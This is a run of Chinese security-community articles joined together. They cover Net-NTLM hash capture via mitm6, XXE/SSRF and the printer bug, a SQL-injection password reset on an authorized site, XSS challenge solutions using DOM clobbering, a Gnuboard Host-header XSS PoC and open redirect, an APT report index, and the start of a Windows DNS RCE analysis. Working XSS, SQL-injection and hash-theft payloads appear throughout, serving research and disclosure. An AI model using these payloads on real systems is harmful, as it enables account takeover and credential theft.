Fox-IT公布了名为[mitm6](https://github.com/fox-it/mitm6.git)的一个工具，可以实施这种攻击。
mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量。
当目标计算机重启或重新进行网络配置（如重新插入网线）时， 将会向DHCPv6发送请求获取IPv6配置
这个时候mitm6将回复这些DHCPv6请求，并在链接本地范围内为受害者分配一个IPv6地址。尽管在实际的IPv6网络中，这些地址是由主机自己自动分配的，不需要由DHCP服务器配置，但这使我们有机会将攻击者IP设置为受害者的默认IPv6
DNS服务器。应当注意，mitm6当前仅针对基于Windows的操作系统，因为其他操作系统（如macOS和Linux）不使用DHCPv6进行DNS服务器分配。
这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6
DNS服务器，它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的，因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。
至此MS16-077的两个保护措施都能绕过，再遇到MS16-077之后的机子不妨试试这种方法。
## 0x0A XXE && SSRF
### 1\. XXE
在xxe里面加载外部文件的时候，如果路径支持unc路径的话，是能拿到net-ntlm hash的。
这里使用javajavax.xml.parsers进行测试,测试代码如下
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
成功打回net-ntlm hash
如果不支持UNC，可再测试http协议。
成功打回net-ntlm hash。
### 2\. SSRF
在ssrf里面如果支持file协议，并且file协议能加载远程资源的话，是能拿到net-ntlm hash的。
这里使用JAVA的HttpURLConnection进行测试，测试代码如下
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
当只支持HTTP协议的时候，也是可能打回net-ntlm hash的。
成功打回net-ntlm hash
各个语言触发XXE和SSRF的实现不同。同一门语言也有不同的触发方式，这里并没有一一测试。
只要支持UNC路径都能打回net-ntlm
hash,如果支持http的话，得看底层实现，有些底层实现是需要判断是否在信任域的，有些底层实现是不需要判断是否信任域，有些需要判断是否信任域里面，但是判断是否在信任域的代码是这样。
static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback {
@Override
public boolean isTrustedSite(URL url) { return true; }
}
在xxe和ssrf测试中一般要测试这两个方面
1. 支不支持UNC路径，比如\\\ip\x或者file://ip/x
2. 支不支持HTTP(这个一般支持),是不是需要信任域，信任域是怎么判断的
各个语言，各个模块的测试，这里并没有一一测试。
## 0x0B 打印机漏洞
Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信，默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象，该对象监视对打印机对象的更改，并将更改通知发送到打印客户端。
任何经过身份验证的域成员都可以连接到远程服务器的打印服务（spoolsv.exe），并请求对一个新的打印作业进行更新，令其将该通知发送给指定目标。之后它会将立即测试该连接，即向指定目标进行身份验证（攻击者可以选择通过Kerberos或NTLM进行验证）。另外微软表示这个bug是系统设计特点，无需修复。
如下图，使用printerbug.py对172.16.100.5发起请求，172.16.100.5就会向172.16.100.1发起ntlm 请求。
## 0x0C 引用文章
* [渗透技巧——利用PDF文件获取Net-NTLM hash](%5bhttps:/3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8PDF%E6%96%87%E4%BB%B6%E8%8E%B7%E5%8F%96Net-NTLM-hash/%5d\(https:/3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8PDF%E6%96%87%E4%BB%B6%E8%8E%B7%E5%8F%96Net-NTLM-hash/\))
* [利用图标文件获取连接文件服务器的NTLMv2 Hash](%5bhttps:/3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8%E5%9B%BE%E6%A0%87%E6%96%87%E4%BB%B6%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5%E6%96%87%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84NTLMv2-Hash/%5d\(https:/3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8%E5%9B%BE%E6%A0%87%E6%96%87%E4%BB%B6%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5%E6%96%87%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84NTLMv2-Hash/\))
* [Microsoft Word – UNC Path Injection with Image Linking](https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/)
* [基于WPAD的中间人攻击](%5bhttps:/wooyun.js.org/drops/%E5%9F%BA%E4%BA%8EWPAD%E7%9A%84%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.html%5d\(https:/wooyun.js.org/drops/%E5%9F%BA%E4%BA%8EWPAD%E7%9A%84%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.html\))
* [mitm6 – compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/) | 社区文章 |
前几天发现了一个专属的已授权网站存在逻辑漏洞，整个过程比较的奇幻，这里就分享给大家。
# 过程
## 前期排查和信息收集
在对该网站进行信息收集的时候，我发现了其中的后台登录点，便想着用弱口令看看可不可以直接登录。这里先尝试admin123/admin123，这里出现了账号密码错误的提示，提示如下图，通过后续的渗透可以知道admin123这个账户不存在:
[
然后再继续尝试admin/admin后，它的提示就和上面的不一样了，提示如下。这说明了在这里存在admin这个账户。通过后续的渗透可以知道admin这个账户应该是最高权限的管理员，想要成功登录该账户应该得需要内网环境才可以：
[
这些前期工作全部都排查完成后，下面就要开始进入渗透测试了。
## 进入渗透测试
路径是：
`https://x.x.x.x/portal/register/forgetPassword`
这个url是忘记密码的页面。当填写登录名时，如果登录的账户存在，则页面会自动填写手机号码，这为我的后续的渗透带来了便利：
[
然后这里点击获取验证码，我想要发送验证码到该手机号码上：
[
在此之前我用awvs已经扫描了该网站，下图为awvs其中的一个关于这个忘记密码页面发送短信验证码的自动测试payload：
`/portal/register/forgetPassword?account=4111111111111111&btn=%e8%8e%b7%e5%8f%96%e9%aa%8c%e8%af%81%e7%a0%81&code=94102&Cto=d47867b3be2f4f67aa693ddde6d7904d&msgCode=94102&password=g00dPa%24%24w0rD&phone=555-666-0606&repassword=g00dPa%24%24w0rD`
Payload中 **94102**
为awvs扫描时发送的短信验证码，于是我开始用这个短信验证码开始测试。这个短信验证码应该是通过扫描出来的长度以及形状刚好符合网站验证码长度（5位数）的短信验证码。
注：awvs扫描的该payload中，phone的值与页面自动填写的手机号码不一致，这里为`555-666-0606`
[
输入 **94102**
验证码，发现会自动清除，验证码已过期（在这里短信验证码是当你输入完成后就执行匹配命令的，不用点击确认按钮再执行匹配命令）。那么这下该怎么办呢？这个时候我想到了万能密码。万能密码能在登录表单绕过登录的限制，那么在验证码表单也能绕过sql查询语句。当我这里输入`1'
or 1='1` 时为True，因为输完万能密码后，服务器开始匹配（这时候没有自动清除验证码），网页出现卡顿状态：
[
在验证码表单输入`1' or 1='1`，当出现网页卡的现象时刷新页面
[
网页卡顿一段时间以后还没有好，这时我就点击了下刷新来以此刷新页面，发现验证码没有被服务器重置，于是我填写剩余的表单内容，并且提交，提交后网页继续卡顿，此时并无回显更改成功：
[
等网页卡顿一段时间后无回显，执行刷新，网页刷新状态如下，将验证码替换为 **94102**
，这个时候验证码有效并且不会卡顿，不会被网页清除。（个人觉得这里是因为刚刚的万能密码让服务器识别了一次验证码的验证操作，但是没有执行更改密码的操作，当再次刷新页面的时候万能密码还在，服务器已经将此验证码标为True，但是刚刚执行完全部操作无正确回显。所以我决定更换一个验证码，此时验证码不会被重置，再次输入更新密码时成功更改。）
输入我们要更改的密码即可修改成功。
[
[
账户为admin，这里更改后的密码为test6666。然后这里回到后台登录点登录发现还是会提示该用户在该网络环境限制登录。因此我判断出了admin这个账户应该是最高权限的管理员，想要成功登录该账户应该得需要内网环境才可以：
[
这里再次尝试账户为admin123，密码为admin123，页面的错误提示就不一样了。因此可以知道admin123这个账户不存在：
[
已经到了这里，却出现这样的局面，我十分的不甘心，并不想就此放弃，不然就是前功尽弃了。那么这里又开始回到最初的起点：信息收集。在我更加仔细地把这个网站的大大小小的通知公告等信息全部都翻了一遍以后，我这里找到了这家公司的补充供方的单位名称等信息，这时我突然考虑到可以通过这些单位名称去找到对应的统一社会信用代码来进行尝试。
这里我要先来介绍一下 **统一社会信用代码** 是什么：
**统一社会信用代码** 是一组长度为18位的用于法人和其他组织身份识别的代码， **统一社会信用代码**
由国家标准委发布。统一社会信用代码制度是以公民身份号码和组织机构代码为基础的主体标识代码制度，标准规定 **统一社会信用代码**
用18位阿拉伯数字或大写英文字母表示，分别是1位登记管理部门代码、1位机构类别代码、6位登记管理机关行政区划码、9位主体标识码、1位校验码。由登记管理部门代码、机构类别代码、登记管理机关行政区划码、主体标识码（组织机构代码）和校验码五个部分组成。因此
**统一社会信用代码(18位)** 包含了 **组织机构代码(第9-17位)** 和 **税务登记证号码（第3-17位）** ，所以可以说
**统一社会信用代码** 和 **组织机构代码** 虽然不是同一个东西，但却有着非常密切的联系。 **统一社会信用代码**
是一组长度为18位的用于法人和其他组织身份识别的代码。
以下我列出我找到的这家公司的补充供方的信息：
[
然后到某平台上去查找它们所对应的 **统一社会信用代码** ：
[
然后我找到了很多个补充供方的 **统一社会信用代码** ，然后我将这些 **统一社会信用代码**
分别都作为账户，经过输入账户密码登录时的提示，发现挺多账户是存在的，然后使用上述的漏洞一一对它们进行了修改密码，无一例外都成功了，并且也登录了进去，这里也体现出了admin这个账户应该是最高权限的管理员，而它们应该都只是普通账户。那么我用其中的某账户为例：
以下为成功修改了密码的截图：
[
以下为成功使用修改后的密码登录该账户的截图：
[
上述漏洞我均已提交至平台并已经修复了。 | 社区文章 |
**前言**
本来该系列只有八篇，这篇是由于之前设计题目的过程中，别人给出了多个我没想到的解法思路，所以就专门写了这个番外篇。
三道题的题目地址如下：
<http://px1624.sinaapp.com/test/shortxss.php>
<http://px1624.sinaapp.com/test/shortxss1.php>
<http://px1624.sinaapp.com/test/shortxss2.php>
其中前两题主要是以长度限制的绕过思路为主进行设计的，第三题这个的主要难点，是绕过if这个逻辑判断，也是这篇文章讲述的重点。
**正文**
**1 首先是第一题**
<http://px1624.sinaapp.com/test/shortxss.php>
这个题目其实很简单，也是最经常遇到的长度绕过的场景。
根据提示先传个px参数进去，发现会直接把参数内容输出在script里面。
那么貌似就很容易了，直接px=alert(2020)不就行了，仔细数一数，alert(2020)这貌似是11个字符，上面说限制长度10个字符了啊。
不死心，去试试先。
到这里，很多人就不知道怎么弄了。
然后可能就放弃了，其实这些知识，之前的文章里也有讲到过，具体方法很简单，就是利用eval(name)即可。
<iframe name="alert(2020)" src="http://px1624.sinaapp.com/test/shortxss.php?px=eval(name)">
**2 下面是第二题**
<http://px1624.sinaapp.com/test/shortxss1.php>
根据提示把3个参数传进去。
可以看到，分别输出在了img的alt属性以及js代码里面。测试后就会发现，属性里面的参数也都限制了20个字符。所以如果要弹出12345，直接去`"onload="alert(12345)`是肯定不行的，因为这样会多一个字符出来，长度超过限制。那么直接在js中构造
`';alert(12345);'`这样行不行呢？
理论上来说也是不行的，因为看到上面有写，除了双引号基本特殊字符都过滤掉了。
当然我设计这个小案例的时候我是有一个自己的标准答案的，BUT往往大家的思路都是各式各样的。但是当时我还是想着，貌似没啥别的答案了吧，所以我给ID：gainover发过去试着玩玩，看他有没有其他不一样思路，然后仅仅1分钟后就有答案了，给出的答案和我预想的不太一样。
http://px1624.sinaapp.com/test/shortxss1.php?px=alert(12345)&px1=%22onload=%22w=eval&px2=%22onload=%22w(px202012)
他这个思路等于是把eval重新定义了下，然后再巧妙的利用js中的可控变量，从而成功执行脚本代码。
不过这个方法有个缺点，就是不是100%成功触发，因为img的加载顺序可能并不是按照标签写的前后顺序执行的。
不过也算是一种别的思路的解法。
然后后面又有人直接给出一个让我惊奇的答案。ID：啦啦
http://px1624.sinaapp.com/test/shortxss1.php?px=';alert(12345);'&px1=1&px2=2
我一看，纳尼？这怎么可以直接用单引号了，我记得我单引号是过滤了啊。打开php源码一看，明明我过滤了啊，但是别人的的确确是用单引号直接突破的。
排查下问题在哪，才发现，原来是strpos这个函数的坑，这个函数在匹配的时候返回的下标是从0开始的，然后匹配不到就直接返回false，然后在代码判断的时候，又存在0==false，所以就尴尬了。只要别人把相关字符放在第一个位置，那么返回的就是0，这个字符就直接默认成白名单可以用的了，所以就直接绕过了。
php编程太菜，伤不起啊伤不起。百度搜了下发现，原来这种坑点，踩的人也蛮多的。
比如这里这个案例 <https://xz.aliyun.com/t/2467>
然后出现这个问题后，及时改了下代码，将弱判断改成了强判断。
其实很多时候，某些逻辑漏洞的出现，都是由于这种弱判断导致的。
改了代码后，ID：啦啦 给出了和ID：gainover一样思路的答案，随后ID: Huuuuu 又给出了一个不一样的答案。
http://px1624.sinaapp.com/test/shortxss1.php?px=1&px1=12345%22id=&px2=%22onload=%22alert(alt)
这个思路是把原本的尖括号放到了双引号里面了，等于是把2个标签给合并成一个标签了，看到这个答案，我也是颓了，内心一万头“羊驼”在奔过。
因为其实这个案例，我是模拟那些富文本环境或者表单提交环境的XSS组合利用。这种场景下，这些属性基本都是dom写入的，所以肯定不会出现标签被直接穿越的情况。不过由于模拟环境出题的不严谨，等于又被（偷鸡）给出了一个其他思路的解法。
所以说，设计题目还是要比解题，感觉难的多啊，因为要考虑方方面面才行。
最后我给出我设计的题目的解法吧。
http://px1624.sinaapp.com/test/shortxss1.php?px=alert(12345)&px1=eval(px202012)%22id=%22t&px2=%22onload=%22eval(t.alt)
为什么要这么设计呢？
因为在实际情况中，上面ID：Huuuuu的穿越标签的方法肯定是不行的。然后如果想100%触发漏洞，就得这么去构造。利用两次eval，将js变量中的可控参数进行利用，从而最终XSS。
首先，图片img加载，执行onload，然后执行其中的t.alt 这个对应过去就是上面的img里面的eval(px202012)
然后px202012这个变量就是`'alert(12345)'`
所以等于最终就执行了`eval('alert(12345)')`这个代码。
这里可能有人说为啥不直接eval(px202012)呢？
主要还是因为长度问题。这个点也是模拟实战环境，因为实际环境中，网页的可控变量的名字往往会特别长，如果能塞进去当然可以直接eval，如果塞不进去的话，那就需要这样再去中转下了。
之前企鹅空间和企鹅邮箱很多XSS漏洞，都是需要这样去中转才能绕过限制构造成功的。
因为出题时候代码写的比较随意，所以导致这个题被大家给出了多种不同的答案，其实我设计的本意，是并没有留这些BUG点的。
第二题中，因为t.alt这种 id.属性
的写法技巧，我灵机一动，又去设计了第三个题。这个题目我故意留了些坑（误导解题人思路的），而且也反复验证了下题目设计的严谨性，避免再次被人偷鸡（打脸）。
**3 下面是第三题**
<http://px1624.sinaapp.com/test/shortxss2.php>
还是老步骤，第一步看下页面源码。
根据提示把px1和px2两个参数传进去。
发现px1有两处输出，一处在img的alt属性里，一处在js代码的if判断里。px2有一处输出，在js代码的else判断里。
长度都限制在了21个字符，而且过滤了除了双引号的几乎所有特殊字符。如果直接在alt位置构造的话，那么
`"onload="alert`2012.12.25``这个26个字节，长度是肯定超了的。
那么想着在if位置构造，结果会发现单引号根本就突破不了。
咦？下面有个动态写src的，那我在这里尝试下？
然后测试了就会发现，不管怎么构造，始终都是突破不了src的双引号。这也就是我前面在第二题，穿越标签闭合双引号的那个解法中，提到的实际环境中的属性，基本都是这么写进去的。这种方法去写标签属性，如果你写双引号进去，就会自动被编码掉。
那么上面的位置都不行，难道要在else这位置去入手？
没错，这个题真正考验的就是要突破if判断，执行else这里的代码。其他的输出点有的是辅助点，有的是故意设置的干扰。如果可以执行else代码的话，那么直接`";alert`2012.12.25`;"`即可。
那么要如何执行这个else呢？从题目判断，只要`document.getElementById("px")`这个不是true，就会执行else的内容。但是明明`document.getElementById("px")`就是true啊，那么这题岂不是无解？
这里往往思路就陷入到了一个死循环了，可能也有想到这里，但是又会很快的否决掉自己的这个想法。其实方法很简单，要让`document.getElementById("px")`不是true
那么最直接的方法就是要么px这个id不存在，要么压根连 `document.getElementById("px")`这个都不存在。
所以也就是覆盖变量、函数的问题了，覆盖px这个id的话，如果说alt属性在id属性之前，那么是可以很容易就做到的，直接`alt=""id="px"`这样就行了。但是我这个思路我在设计题目的时候已经注意到了，所以我故意把id这个属性放在了img标签的最前面。
那么这个思路不行的话，就只能是去覆盖`document.getElementById("px")`这个了。这要怎么搞？其实方法很简单，我先直接给出答案。
http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;alert`2012.12.25`;%22
为什么这样写就可以了呢？去控制台看看吧。
可以看到，控制台报错document.getElementById不是个函数，那么它现在到底是什么呢？通过控制台去调试，我们发现它现在就是这个name为getElementById的img标签了。
前面第二题里提到了 id.属性 的写法，其实有的标签也是可以写成name.属性
的，像这里的img就可以。而且这种还可以直接覆盖掉document.name这类的全局变量，这个技巧现在很多时候，都可以绕过BAT的某些代码防御逻辑，去挖到XSS漏洞的。
为什么会这样呢？
这是由于非标准化的 DOM 行为，浏览器有时可能会向各种 DOM 元素添加 name 和 id 属性，作为对文档或全局对象的属性引用。但是，这会导致覆盖掉
document原有的属性或全局变量，或者劫持一些变量的内容。
利用这个特性，往往可以绕过一些判断造成XSS，现在这个方法已经有了一个比较专业的名字，叫Dom Clobbering
具体的原理和细节，我这里就不在细述了，可以参考这篇文章，写的蛮详细的。
使用 Dom Clobbering 扩展 XSS <https://xz.aliyun.com/t/7329>
**总结：**
通过以上的思路解析分享，可以看到，这三个题看似简单，但其实都是要求解题者要有着比较扎实的基础，以及需要不断的去变换思路才能搞定的。如果其他人有不同的方法，可以将答案发到我的邮箱：[email protected]
并附上自己的答案，说不定下篇你的思路就会被收录了呢。
**后记：**
第三题的构造，由于必须绕过那个if的逻辑判断，执行else里面的代码，所以如果这点突破不了的话，这个题应该是解不出来的。结果就是截至目前，还没有人成功给出答案。
然后在发稿前，我在思考会不会还有其他我不知道的思路的解法，所以我把该题目发给了ID：gainover
让他试试。一分钟后他给出了答案，payload有些不同，但是解法和我设计的答案的思路是一样的，都是要去覆盖getElementById变量。
给出的payload如下：
<iframe name=javascript:alert("2020.12.25") src='http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;location=name;%22'>
或者
<script>
window.name='javascript:alert("2020.12.25")';
location='http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;location=name;%22'
</script> | 社区文章 |
# 2015年中国高持续性威胁（APT）研究报告#PDF下载#
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**目录**
第一章 简介…………………………………………………………………………………………………………………….3
第二章 本报告的研究方法……………………………………………………………………………………………….4
一、 研究对象…………………………………………………………………………………………………….4
二、 方法思路…………………………………………………………………………………………………….4
三、 时间范围…………………………………………………………………………………………………….5
第三章 中国是 APT 攻击的主要受害国……………………………………………………………………………..6
一、 地域分布:北京、广东是重灾区…………………………………………………………………7
二、 行业分布:主要针对科研教育、政府机构领域……………………………………………8
三、 造成的危害:长期窃取敏感数据…………………………………………………………………8
(一) 收集基本信息………………………………………………………………………………………….9
(二) 窃取敏感数据………………………………………………………………………………………….9
第四章 防御薄弱导致低成本入侵频频得手…………………………………………………………………….11
一、 APT 攻击的主要入侵方式 ………………………………………………………………………….11
(一) 载荷投递的成本…………………………………………………………………………………….11
(二) 突防利用的成本…………………………………………………………………………………….12
(三) 小结………………………………………………………………………………………………………12
二、 APT 攻击中的载荷投递——邮件和网站 ……………………………………………………..13
(一) 鱼叉攻击和水坑攻击依然是 APT 组织最青睐的入侵方式………………………..13
(二) 高成本的载荷投递:物理接触……………………………………………………………….15
(三) 利用社工对载荷投递的精心伪装……………………………………………………………15
三、 APT 攻击中的突防利用——漏洞 ………………………………………………………………..19
(一) APT 组织具备持有 0day 漏洞的能力……………………………………………………….19
(二) APT 组织更倾向使用 1day 和 Nday………………………………………………………….20
第五章 攻击手法的不断演进与蜕变……………………………………………………………………………….22
一、 侦查跟踪:从目标本身到供应链的延伸…………………………………………………….22
二、 武器构建: 从公开 RAT 到委托定制……………………………………………………………23
三、 载荷投递:低成本和周期性………………………………………………………………………24
四、 突防利用:从 Windows 到多种操作系统……………………………………………………25
五、 安装植入:无自启动,如何持久? ……………………………………………………………26
六、 通信控制:依托第三方平台隐藏……………………………………………………………….27
七、 达成目标:横向移动以扩大战果……………………………………………………………….29
第六章 APT 攻击为中国本土“量身定制” …………………………………………………………………………31
一、 熟悉目标所属行业领域……………………………………………………………………………..31
二、 掌握目标作业环境…………………………………………………………………………………….32
三、 符合目标习惯偏好…………………………………………………………………………………….33
第七章 针对中国 APT 攻击的趋势预测……………………………………………………………………………35
一、 APT 组织的攻击目标 …………………………………………………………………………………35
(一) 紧密围绕政治、经济、科技、军工等热点领域及事件 ……………………………35
(二) 由商业竞争产生的 APT 攻击将不断增加…………………………………………………35
(三) 针对非 Windows 的攻击频率持续增高……………………………………………………35
二、 APT 组织的攻击手法 …………………………………………………………………………………36
(一) APT 攻击越来越难被“看见” ………………………………………………………………..36
(二) 对安全厂商从被动隐匿到主动出击………………………………………………………..36
三、 反 APT 领域的发展 ……………………………………………………………………………………36
(一) 更多针对中国的 APT 攻击将曝光……………………………………………………………36
(二) 反 APT 领域的防守协作持续增强……………………………………………………………36
第八章 本报告涉及的 APT 组织 ……………………………………………………………………………………..38
一、 APT-C-00 组织……………………………………………………………………………………………38
二、 APT-C-05 组织……………………………………………………………………………………………38
三、 APT-C-06 组织……………………………………………………………………………………………38
四、 APT-C-12 组织……………………………………………………………………………………………38
关于 360 天眼实验室( 360 SkyEye Lab) ………………………………………………………………….39
关于 360 追日团队( 360 Helios Team) ……………………………………………………………………39
****** PDF文档下载链接：**[
**https://yunpan.cn/crjEmgNVaxUEp**](https://yunpan.cn/crjEmgNVaxUEp)
**(提取码:9135)** | 社区文章 |
原文地址：<http://blog.adm1nkyj.kr>
译者：欧巴@知道创宇404实验室
#### 简介
Gnuboard是韩国Sir公司开发一套PHP+Mysql CMS程序。
本身数据结构简单，可扩展性能强，程序运行代码与皮肤文件分离，可扩展数据字段多，可以进行多种功能转变，简单安装就可以作为BBS告示板使用，也可以下载皮肤插件变成
综合网站，地方信息，购物，人才市场，物品交易网站。
#### Gnuboard stored xss
之前记录的一个漏洞，漏洞触发点比较有趣，而且威胁也大，所以就发到博客。
首先看一下 index.php代码
<div style="float:left;<?php echo $lt_style ?>">
<?php
// 이 함수가 바로 최신글을 추출하는 역할을 합니다.
// 사용방법 : latest(스킨, 게시판아이디, 출력라인, 글자수);
// 테마의 스킨을 사용하려면 theme/basic 과 같이 지정
echo latest("basic", $row['bo_table'], 5, 25);
?>
</div>
用`latest`过滤之后echo输出，如果是以前，就会跳过这个漏洞点，但是因为缺钱，所以跟了一下代码。
跟一下`lib/latest.lib.php`文件
if(G5_USE_CACHE) {
$cache_file = G5_DATA_PATH."/cache/latest-{$bo_table}-{$skin_dir}-{$rows}-{$subject_len}.php";
if(!file_exists($cache_file)) {
$cache_fwrite = true;
} else {
if($cache_time > 0) {
$filetime = filemtime($cache_file);
if($filetime && $filetime < (G5_SERVER_TIME - 3600 * $cache_time)) {
@unlink($cache_file);
$cache_fwrite = true;
}
}
if(!$cache_fwrite)
include($cache_file);
}
}
if(!G5_USE_CACHE || $cache_fwrite) {
$list = array();
$sql = " select * from {$g5['board_table']} where bo_table = '{$bo_table}' ";
$board = sql_fetch($sql);
$bo_subject = get_text($board['bo_subject']);
$tmp_write_table = $g5['write_prefix'] . $bo_table; // 게시판 테이블 전체이름
$sql = " select * from {$tmp_write_table} where wr_is_comment = 0 order by wr_num limit 0, {$rows} ";
$result = sql_query($sql);
for ($i=0; $row = sql_fetch_array($result); $i++) {
$list[$i] = get_list($row, $board, $latest_skin_url, $subject_len);
}
if($cache_fwrite) {
$handle = fopen($cache_file, 'w');
$cache_content = "<?php\nif (!defined('_GNUBOARD_')) exit;\n\$bo_subject='".sql_escape_string($bo_subject)."';\n\$list=".var_export($list, true)."?>";
fwrite($handle, $cache_content);
fclose($handle);
}
}
ob_start();
include $latest_skin_path.'/latest.skin.php';
$content = ob_get_contents();
ob_end_clean();
return $content;
看代码能发现，如果存在缓存文件，那就直接包含已存在的缓存，如果没有那就生成一个缓存文件之后，再调用缓存。
生成缓存的时候会传入`$latest_skin_url`函数，`$latest_skin_url`函数会包含`G5_SKIN_URL`的值。`G5_SKIN_URL`的值在
`common.php`文件的`g5_path()`的函数中会包含 host头的值，导致xss漏洞。
漏洞复现：
为了初始化缓存，先发一篇文章，然后跳转到index.php的时候 修改host值为 `"><img src=1
onerror="alert('XSS');">`
PoC :
import requests
from urllib import quote
header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}
url = "site_url"
r = requests.get(url, headers=header)
print r.text
#### Gnuboard open redirect & password leak
为了参加 hacking camp的演讲，准备open
redirect漏洞的案例的时候，想起之前朋友挖过的gnuboard的漏洞，然后现在看了一下，虽然有补丁但是还是存在漏洞。
在 `skin/member/basic/member_confirm_skin.php`文件。
<form name="fmemberconfirm" action="<?php echo $url ?>" onsubmit="return fmemberconfirm_submit(this);" method="post">
<input type="hidden" name="mb_id" value="<?php echo $member['mb_id'] ?>">
<input type="hidden" name="w" value="u">
<fieldset>
회원아이디
<span id="mb_confirm_id"><?php echo $member['mb_id'] ?></span>
<label for="confirm_mb_password">비밀번호<strong class="sound_only">필수</strong></label>
<input type="password" name="mb_password" id="confirm_mb_password" required class="required frm_input" size="15" maxLength="20">
<input type="submit" value="확인" id="btn_submit" class="btn_submit">
</fieldset>
</form>
可以看到在form表单里 输出了 `url`，如果url改成
`http://hacker.com`，黑客会截取form表单里的所有的值。从上述代码可以看到，form表单里包含了 `password`的值。
接着我们继续查找从哪个文件调用了上述的`member_confirm_skin.php`文件。我们发现在`bbs/member_confirm.php`文件中调用了。
$url = clean_xss_tags($_GET['url']);
// url 체크
check_url_host($url);
$url = get_text($url);
include_once($member_skin_path.'/member_confirm.skin.php');
include_once('./_tail.sub.php');
?>
但是这里看到对 `url`参数进行了过滤，继续跟踪看看`check_url_host`，函数是如何进行过滤的。
function check_url_host($url, $msg='', $return_url=G5_URL)
{
if(!$msg)
$msg = 'url에 타 도메인을 지정할 수 없습니다.';
$p = @parse_url($url);
$host = preg_replace('/:[0-9]+$/', '', $_SERVER['HTTP_HOST']);
if(stripos($url, 'http:') !== false) {
if(!isset($p['scheme']) || !$p['scheme'] || !isset($p['host']) || !$p['host'])
alert('url 정보가 올바르지 않습니다.', $return_url);
}
if ((isset($p['scheme']) && $p['scheme']) || (isset($p['host']) && $p['host']) || $is_host_check) {
//if ($p['host'].(isset($p['port']) ? ':'.$p['port'] : '') != $_SERVER['HTTP_HOST']) {
if ( ($p['host'] != $host) || $is_host_check ) {
echo '<script>'.PHP_EOL;
echo 'alert("url에 타 도메인을 지정할 수 없습니다.");'.PHP_EOL;
echo 'document.location.href = "'.$return_url.'";'.PHP_EOL;
echo '</script>'.PHP_EOL;
echo '<noscript>'.PHP_EOL;
echo '<p>'.$msg.'</p>'.PHP_EOL;
echo '<p><a href="'.$return_url.'">돌아가기</a></p>'.PHP_EOL;
echo '</noscript>'.PHP_EOL;
exit;
}
}
}
看到这里发现之前多虑了，因为发现`parse_url`函数基本没有过滤。绕过方法参见下图。
如果用这种方式构造url后，发送链接给会员输入密码，那么密码会发送到攻击者指定的服务器中（因为网址和实际网址一样，所以成功欺骗的概率会更高一些）
* * * | 社区文章 |
# Windows DNS Server远程代码执行漏洞（CVE-2021-24078）的详细原理分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务。
奇安信代码安全实验室的研究员在Windows DNS
Server中发现一个严重的远程代码执行漏洞。它是首个由国内安全研究员发现并提交的蠕虫级漏洞，危害巨大，CVSS 评分为9.8分，堪比微软去年修复的另外一个
Windows DNS Server RCE漏洞
(CVE-2020-1350)。测试者仅需向目标dns服务器发送特制数据包，即可利用该漏洞在目标系统上以本地系统账户权限执行任意代码，且触发无需交互、无需身份认证且在
Windows DNS 默认配置下即可执行。
## 测试场景
测试场景如下：
（1）测试者向目标DNS服务器发起特殊查询”XXXXXXXXXXXX.com”。
（2）目标DNS服务器无法解析”XXXXXXXXXXXX.com”，向上一级 DNS服务器（如8.8.8.8）发起递归查询。
（3）得到的记录是一个测试者提前申请的ns记录。此记录的地址指向测试机器，含义是目标DNS服务器必须去这个ip地址查询相关域名信息。
（4）目标DNS服务器向测试机发起第二次查询，直接向测试机的ip地址发起查询。
（5）此时测试机向目标DNS服务器发送畸形响应报文，触发类型混淆漏洞。
## 漏洞分析与利用
漏洞点在于供处理报文的rr记录生成请求函数dns.exe!Wire_CreateRecordFromWire。该函数所调用的类型解析函数dns.exe!RR_DispatchFunctionForType在解析时出现错误：在判断rr类型是否合法时出现错误，将本应该作为有符号的比较错误地当成无符号比较，导致生成的rr记录被标记成任意type值。换句话说，在此函数中生成的rrcord的type值几乎可被标记为任意值（0-0xffff范围内的大部分值），从而触发类型混淆漏洞，最终可能导致RCE。漏洞分析流程如图1所示。
图1 漏洞的分析流程图
伪代码如下：
_int64 __fastcall RR_DispatchFunctionForType(__int64 *a1, unsigned __int16 a2)
{
unsigned __int16 v2; // r8
__int64 result; // rax
v2 = a2;
